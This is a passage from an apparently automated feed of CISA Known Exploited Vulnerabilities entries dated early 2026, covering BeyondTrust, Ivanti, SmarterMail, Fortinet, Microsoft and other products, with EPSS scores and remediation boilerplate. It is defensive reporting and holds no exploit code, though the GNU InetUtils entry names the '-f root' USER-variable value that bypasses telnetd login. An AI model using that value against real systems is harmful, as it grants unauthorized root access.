CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-1731
BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) OS Command Injection Vulnerability (Feb 13, 2026).
BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA)contain an OS command injection vulnerability. Successful exploitation could allow an unauthenticated remote attacker to execute operating system commands in the context of the site user. Successful exploitation requires no authentication or user interaction and may lead to system compromise, including unauthorized access, data exfiltration, and service disruption.
EPSS 93.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1731&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-1731: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1731&date=2026-10-25
CISA added this entry on 2026-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 13, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2026-20700
Apple Multiple Buffer Overflow Vulnerability (Feb 12, 2026).
Apple iOS, macOS, tvOS, watchOS, and visionOS contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow an attacker with memory write the capability to execute arbitrary code.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20700&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20700: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20700&date=2026-10-25
CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 12, 2026; federal due date Mar 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Configuration Manager SQL Injection Vulnerability
https://kevwire.com/record/CVE-2024-43468
Microsoft Configuration Manager SQL Injection Vulnerability (Feb 12, 2026).
Microsoft Configuration Manager contains an SQL injection vulnerability. An unauthenticated attacker could exploit this vulnerability by sending specially crafted requests to the target environment which are processed in an unsafe manner enabling the attacker to execute commands on the server and/or underlying database.
EPSS 81.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43468&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-43468: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43468&date=2026-10-25
CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 12, 2026; federal due date Mar 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Notepad++ Download of Code Without Integrity Check Vulnerability
https://kevwire.com/record/CVE-2025-15556
Notepad++ Download of Code Without Integrity Check Vulnerability (Feb 12, 2026).
Notepad++ when using the WinGUp updater, contains a download of code without integrity check vulnerability that could allow an attacker to intercept or redirect update traffic to download and execute an attacker-controlled installer. This could lead to arbitrary code execution with the privileges of the user.
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-15556&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-15556: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-15556&date=2026-10-25
CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 12, 2026; federal due date Mar 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Web Help Desk Security Control Bypass Vulnerability
https://kevwire.com/record/CVE-2025-40536
SolarWinds Web Help Desk Security Control Bypass Vulnerability (Feb 12, 2026).
SolarWinds Web Help Desk contains a security control bypass vulnerability that could allow an unauthenticated attacker to gain access to certain restricted functionality.
EPSS 73.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-40536&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-40536: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-40536&date=2026-10-25
CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 12, 2026; federal due date Feb 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft MSHTML Framework Protection Mechanism Failure Vulnerability
https://kevwire.com/record/CVE-2026-21513
Microsoft MSHTML Framework Protection Mechanism Failure Vulnerability (Feb 10, 2026).
Microsoft MSHTML Framework contains a protection mechanism failure vulnerability that could allow an unauthorized attacker to bypass a security feature over a network.
EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21513&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21513: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21513&date=2026-10-25
CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows NULL Pointer Dereference Vulnerability
https://kevwire.com/record/CVE-2026-21525
Microsoft Windows NULL Pointer Dereference Vulnerability (Feb 10, 2026).
Microsoft Windows Remote Access Connection Manager contains a NULL pointer dereference that could allow an unauthorized attacker to deny service locally.
EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21525&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21525: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21525&date=2026-10-25
CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Shell Protection Mechanism Failure Vulnerability
https://kevwire.com/record/CVE-2026-21510
Microsoft Windows Shell Protection Mechanism Failure Vulnerability (Feb 10, 2026).
Microsoft Windows Shell contains a protection mechanism failure vulnerability that could allow an unauthorized attacker to bypass a security feature over a network.
EPSS 61.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21510&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21510: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21510&date=2026-10-25
CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2026-21533
Microsoft Windows Improper Privilege Management Vulnerability (Feb 10, 2026).
Microsoft Windows Remote Desktop Services contains an improper privilege management vulnerability that could allow an authorized attacker to elevate privileges locally.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21533&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21533: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21533&date=2026-10-25
CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Type Confusion Vulnerability
https://kevwire.com/record/CVE-2026-21519
Microsoft Windows Type Confusion Vulnerability (Feb 10, 2026).
Microsoft Desktop Windows Manager contains a type confusion vulnerability that could allow an authorized attacker to elevate privileges locally.
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21519&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21519&date=2026-10-25
CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Word Reliance on Untrusted Inputs in a Security Decision Vulnerability
https://kevwire.com/record/CVE-2026-21514
Microsoft Office Word Reliance on Untrusted Inputs in a Security Decision Vulnerability (Feb 10, 2026).
Microsoft Office Word contains a reliance on untrusted inputs in a security decision vulnerability that could allow an authorized attacker to elevate privileges locally.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21514&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21514: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21514&date=2026-10-25
CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2026; federal due date Mar 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### React Native Community CLI OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-11953
React Native Community CLI OS Command Injection Vulnerability (Feb 5, 2026).
React Native Community CLI contains an OS command injection vulnerability which could allow unauthenticated network attackers to send POST requests to the Metro Development Server and run arbitrary executables via a vulnerable endpoint exposed by the server. On Windows, attackers can also execute arbitrary shell commands with fully controlled arguments.
EPSS 94.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-11953&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-11953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-11953&date=2026-10-25
CISA added this entry on 2026-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 5, 2026; federal due date Feb 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SmarterTools SmarterMail Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-24423
SmarterTools SmarterMail Missing Authentication for Critical Function Vulnerability (Feb 5, 2026).
SmarterTools SmarterMail contains a missing authentication for critical function vulnerability in the ConnectToHub API method. This could allow the attacker to point the SmarterMail instance to a malicious HTTP server which serves the malicious OS command and could lead to command execution.
EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-24423&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-24423: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-24423&date=2026-10-25
CISA added this entry on 2026-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 5, 2026; federal due date Feb 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GitLab Community and Enterprise Editions Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2021-39935
GitLab Community and Enterprise Editions Server-Side Request Forgery (SSRF) Vulnerability (Feb 3, 2026).
GitLab Community and Enterprise Editions contain a server-side request forgery vulnerability which could allow unauthorized external users to perform Server Side Requests via the CI Lint API.
EPSS 36.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39935&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-39935: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39935&date=2026-10-25
CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 3, 2026; federal due date Feb 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sangoma FreePBX OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-64328
Sangoma FreePBX OS Command Injection Vulnerability (Feb 3, 2026).
Sangoma FreePBX Endpoint Manager contains an OS command injection vulnerability that could allow for a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function. An attacker can leverage this vulnerability to potentially obtain remote access to the system as an asterisk user.
EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-64328&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-64328: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-64328&date=2026-10-25
CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 3, 2026; federal due date Feb 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sangoma FreePBX Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2019-19006
Sangoma FreePBX Improper Authentication Vulnerability (Feb 3, 2026).
Sangoma FreePBX contains an improper authentication vulnerability that potentially allows unauthorized users to bypass password authentication and access services provided by the FreePBX admin.
EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-19006&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-19006: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-19006&date=2026-10-25
CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 3, 2026; federal due date Feb 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-40551
SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability (Feb 3, 2026).
SolarWinds Web Help Desk contains a deserialization of untrusted data vulnerability that could lead to remote code execution, which would allow an attacker to run commands on the host machine. This could be exploited without authentication.
EPSS 84.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-40551&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-40551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-40551&date=2026-10-25
CISA added this entry on 2026-02-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 3, 2026; federal due date Feb 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-1281
Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability (Jan 29, 2026).
Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability that could allow attackers to achieve unauthenticated remote code execution.
EPSS 98.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1281&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-1281: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1281&date=2026-10-25
CISA added this entry on 2026-01-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 29, 2026; federal due date Feb 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet Multiple Products Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2026-24858
Fortinet Multiple Products Authentication Bypass Using an Alternate Path or Channel Vulnerability (Jan 27, 2026).
Fortinet FortiAnalyzer, FortiManager, FortiOS, and FortiProxy contain an authentication bypass using an alternate path or channel that could allow an attacker with a FortiCloud account and a registered device to log into other devices registered to other accounts, if FortiCloud SSO authentication is enabled on those devices.
EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-24858&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-24858: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-24858&date=2026-10-25
CISA added this entry on 2026-01-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 27, 2026; federal due date Jan 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2018-14634
Linux Kernel Integer Overflow Vulnerability (Jan 26, 2026).
Linux Kernel contains an integer overflow vulnerability in the create_elf_tables() function which could allow an unprivileged local user with access to SUID (or otherwise privileged) binary to escalate their privileges on the system.
EPSS 14.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14634&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-14634: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14634&date=2026-10-25
CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability
https://kevwire.com/record/CVE-2025-52691
SmarterTools SmarterMail Unrestricted Upload of File with Dangerous Type Vulnerability (Jan 26, 2026).
SmarterTools SmarterMail contains an unrestricted upload of file with dangerous type vulnerability that could allow an unauthenticated attacker to upload arbitrary files to any location on the mail server, potentially enabling remote code execution.
EPSS 85.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-52691&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-52691: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-52691&date=2026-10-25
CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability
https://kevwire.com/record/CVE-2026-23760
SmarterTools SmarterMail Authentication Bypass Using an Alternate Path or Channel Vulnerability (Jan 26, 2026).
SmarterTools SmarterMail contains an authentication bypass using an alternate path or channel vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts. This could allow an unauthenticated attacker to supply a target administrator username and a new password to reset the account, resulting in full administrative compromise of the SmarterMail instance.
EPSS 96.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-23760&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-23760: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-23760&date=2026-10-25
CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GNU InetUtils Argument Injection Vulnerability
https://kevwire.com/record/CVE-2026-24061
GNU InetUtils Argument Injection Vulnerability (Jan 26, 2026).
GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-24061&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-24061: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-24061&date=2026-10-25
CISA added this entry on 2026-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 26, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2026-21509
Microsoft Office Security Feature Bypass Vulnerability (Jan 26, 2026).
Microsoft Office contains a security feature bypass vulnerability in which reliance on untrusted inputs in a security decision in Microsoft Office could allow an unauthorized attacker to bypass a security feature locally. Some of the impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.
